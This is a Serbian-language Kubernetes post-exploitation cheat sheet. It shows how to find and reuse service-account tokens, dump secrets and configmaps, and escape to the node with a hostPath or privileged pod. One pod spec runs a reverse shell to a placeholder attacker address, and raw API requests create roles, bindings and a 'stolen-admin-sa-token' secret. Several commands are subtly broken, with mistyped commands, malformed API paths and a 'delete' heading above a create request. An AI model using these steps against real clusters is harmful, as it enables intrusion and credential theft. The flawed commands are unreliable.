Kubernetes Enumeration

Reading time: 20 minutes

Kubernetes Tokens

Ako imate kompromitovan pristup mašini, korisnik može imati pristup nekoj Kubernetes platformi. Token se obično nalazi u datoteci na koju ukazuje env var KUBECONFIG ili unutar ~/.kube.

U ovoj fascikli možete pronaći konfiguracione datoteke sa tokenima i konfiguracijama za povezivanje sa API serverom. U ovoj fascikli takođe možete pronaći fasciklu sa kešom sa informacijama prethodno preuzetim.

Ako ste kompromitovali pod unutar kubernetes okruženja, postoje i druga mesta gde možete pronaći tokene i informacije o trenutnom K8 okruženju:

Service Account Tokens

Pre nego što nastavite, ako ne znate šta je servis u Kubernetes-u, preporučujem vam da pratite ovaj link i pročitate barem informacije o Kubernetes arhitekturi.

Preuzeto iz Kubernetes dokumentacije:

“Kada kreirate pod, ako ne navedete servisni nalog, automatski se dodeljuje default servisni nalog u istoj imenskoj oblasti.”

ServiceAccount je objekat kojim upravlja Kubernetes i koristi se za pružanje identiteta za procese koji se izvršavaju u podu.
Svaki servisni nalog ima tajnu povezanu sa njim i ova tajna sadrži bearer token. Ovo je JSON Web Token (JWT), metoda za sigurno predstavljanje zahteva između dve strane.

Obično jedna od fascikli:

• /run/secrets/kubernetes.io/serviceaccount
• /var/run/secrets/kubernetes.io/serviceaccount
• /secrets/kubernetes.io/serviceaccount

sadrži datoteke:

• ca.crt: To je ca sertifikat za proveru kubernetes komunikacija
• namespace: Ukazuje na trenutnu imensku oblast
• token: Sadrži servisni token trenutnog poda.

Sada kada imate token, možete pronaći API server unutar promenljive okruženja KUBECONFIG. Za više informacija pokrenite (env | set) | grep -i "kuber|kube"

Token servisnog naloga se potpisuje ključem koji se nalazi u datoteci sa.key i validira se pomoću sa.pub.

Podrazumevana lokacija na Kubernetes:

• /etc/kubernetes/pki

Podrazumevana lokacija na Minikube:

• /var/lib/localkube/certs

Hot Pods

Hot pods su podovi koji sadrže privilegovani token servisnog naloga. Privilegovani token servisnog naloga je token koji ima dozvolu za obavljanje privilegovanih zadataka kao što su listanje tajni, kreiranje podova, itd.

RBAC

Ako ne znate šta je RBAC, pročitajte ovaj odeljak.

GUI Applications

• k9s: GUI koji enumeriše kubernetes klaster iz terminala. Proverite komande u https://k9scli.io/topics/commands/. Napišite :namespace i izaberite sve da biste zatim pretražili resurse u svim imenskim oblastima.
• k8slens: Nudi nekoliko besplatnih probnih dana: https://k8slens.dev/

Enumeration CheatSheet

Da biste enumerisali K8s okruženje, potrebni su vam neki od ovih:

• validan autentifikacioni token. U prethodnom odeljku smo videli gde da tražimo korisnički token i token servisnog naloga.
• adresa (https://host:port) Kubernetes API. Ovo se obično može pronaći u promenljivim okruženja i/ili u kube konfiguracionoj datoteci.
• Opcionalno: ca.crt za verifikaciju API servera. Ovo se može pronaći na istim mestima gde se može pronaći token. Ovo je korisno za verifikaciju sertifikata API servera, ali korišćenjem --insecure-skip-tls-verify sa kubectl ili -k sa curl vam to neće biti potrebno.

Sa tim detaljima možete enumerisati kubernetes. Ako je API iz nekog razloga dostupan putem Interneta, možete jednostavno preuzeti te informacije i enumerisati platformu sa vaše mašine.

Međutim, obično je API server unutar interne mreže, stoga ćete morati da napravite tunel kroz kompromitovanu mašinu da biste mu pristupili sa vaše mašine, ili možete otpremiti kubectl binarni fajl, ili koristiti curl/wget/anything za izvođenje sirovih HTTP zahteva ka API serveru.

Differences between list and get verbs

Sa get dozvolama možete pristupiti informacijama o specifičnim resursima (describe opcija u kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Ako imate list dozvolu, dozvoljeno vam je da izvršavate API zahteve za listanje tipa imovine (get opcija u kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Ako imate watch dozvolu, dozvoljeno vam je da izvršavate API zahteve za praćenje resursa:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Oni otvaraju streaming vezu koja vam vraća puni manifest jednog Deployment-a svaki put kada se promeni (ili kada se kreira novi).

Korišćenje curl-a

Iz unutrašnjosti poda možete koristiti nekoliko env varijabli:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Korišćenje kubectl

Imajući token i adresu API servera, koristite kubectl ili curl za pristup kao što je ovde naznačeno:

Podrazumevano, APISERVER komunicira sa https:// šemom.

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

ako nema https:// u URL-u, možete dobiti grešku poput Bad Request.

Možete pronaći službeni kubectl cheatsheet ovde. Cilj sledećih sekcija je da predstavi različite opcije za enumeraciju i razumevanje novog K8s na koji ste dobili pristup.

Da biste pronašli HTTP zahtev koji kubectl šalje, možete koristiti parametar -v=8

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Trenutna Konfiguracija

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Ako ste uspeli da ukradete kredencijale nekih korisnika, možete ih konfigurisati lokalno koristeći nešto poput:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Dobijanje podržanih resursa

Sa ovom informacijom ćete znati sve usluge koje možete navesti

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Dobijte trenutne privilegije

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

Još jedan način da proverite svoje privilegije je korišćenje alata: https://github.com/corneliusweig/rakkess****

Možete saznati više o Kubernetes RBAC u:

Kubernetes Role-Based Access Control(RBAC)

Kada znate koje privilegije imate, proverite sledeću stranicu da biste utvrdili da li ih možete zloupotrebiti za eskalaciju privilegija:

Abusing Roles/ClusterRoles in Kubernetes

Dobijanje drugih uloga

k get roles
k get clusterroles

kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

Dobijanje imenskih prostora

Kubernetes podržava više virtuelnih klastera koji se oslanjaju na isti fizički klaster. Ovi virtuelni klasteri se nazivaju imenski prostori.

k get namespaces

kurl -k -v https://$APISERVER/api/v1/namespaces/

Dobijanje tajni

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

Ako možete da čitate tajne, možete koristiti sledeće linije da dobijete privilegije povezane sa svakim tokenom:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Dobijanje servisnih naloga

Kao što je pomenuto na početku ove stranice kada se pod pokrene, obično mu se dodeljuje servisni nalog. Stoga, listanje servisnih naloga, njihovih dozvola i gde se pokreću može omogućiti korisniku da eskalira privilegije.

k get serviceaccounts

kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts

Preuzmi implementacije

Implementacije definišu komponente koje treba pokrenuti.

k get deployments
k get deployments -n custnamespace

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

Preuzmi Podove

Podovi su stvarni kontejneri koji će raditi.

k get pods
k get pods -n custnamespace

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

Dobijanje usluga

Kubernetes usluge se koriste za izlaganje usluge na određenom portu i IP (koji će delovati kao balansirnik opterećenja za podove koji zapravo nude uslugu). Ovo je zanimljivo znati gde možete pronaći druge usluge koje možete pokušati napasti.

k get services
k get services -n custnamespace

kurl -v https://$APISERVER/api/v1/namespaces/default/services/

Dobijanje čvorova

Dobijte sve čvorove konfigurisane unutar klastera.

k get nodes

kurl -v https://$APISERVER/api/v1/nodes/

Dobijanje DaemonSets

DaeamonSets omogućava da se osigura da određeni pod radi na svim čvorovima klastera (ili na odabranim). Ako obrišete DaemonSet, podovi koje on upravlja će takođe biti uklonjeni.

k get daemonsets

kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

Dobijanje cronjob-a

Cron poslovi omogućavaju zakazivanje pokretanja poda koji će izvršiti neku radnju koristeći crontab sintaksu.

k get cronjobs

kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs

Preuzmi configMap

configMap uvek sadrži mnogo informacija i konfiguracionih fajlova koji se pružaju aplikacijama koje rade u kubernetesu. Obično možete pronaći mnogo lozinki, tajni, tokena koji se koriste za povezivanje i validaciju sa drugim internim/eksternim servisima.

k get configmaps # -n namespace

kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

Dobijanje mrežnih politika / Cilium mrežnih politika

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

Dobij sve / Sve

k get all

Dobijte sve resurse koje upravlja helm

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

Dobijanje potrošnje Podova

k top pod --all-namespaces

Interakcija sa klasterom bez korišćenja kubectl

S obzirom na to da Kubernetes kontrolna ravni izlaže REST-ful API, možete ručno kreirati HTTP zahteve i slati ih sa drugim alatima, kao što su curl ili wget.

Bekstvo iz poda

Ako ste u mogućnosti da kreirate nove pode, možda ćete moći da pobegnete iz njih na čvor. Da biste to uradili, potrebno je da kreirate novi pod koristeći yaml datoteku, prebacite se na kreirani pod i zatim chroot u sistem čvora. Možete koristiti već postojeće pode kao referencu za yaml datoteku, pošto prikazuju postojeće slike i putanje.

kubectl get pod <name> [-n <namespace>] -o yaml

ako treba da kreirate pod na specifičnom čvoru, možete koristiti sledeću komandu da dobijete oznake na čvoru

k get nodes --show-labels

Obično, kubernetes.io/hostname i node-role.kubernetes.io/master su sve dobre oznake za selekciju.

Zatim kreirate svoj attack.yaml fajl

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

original yaml source

Nakon toga kreirate pod

kubectl apply -f attacker.yaml [-n <namespace>]

Sada možete preći na kreirani pod na sledeći način

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

I konačno se chroot-ujete u sistem čvora

chroot /root /bin/bash

Informacije dobijene iz: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

Kreiranje privilegovanog poda

Odgovarajući yaml fajl je sledeći:

apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /

Kreirajte pod sa curl:

CONTROL_PLANE_HOST=""
TOKEN=""

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Obriši pod

Obriši pod pomoću curl-a:

CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"

Kreirajte servisni nalog

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Obriši servisni nalog

CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"

Kreirajte ulogu

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Obriši ulogu

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"

Kreirajte Role Binding

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Obriši vezu uloge

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"

Obriši Tajnu

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Obriši Tajnu

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""

ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"

Reference

Kubernetes Pentest Methodology Part 3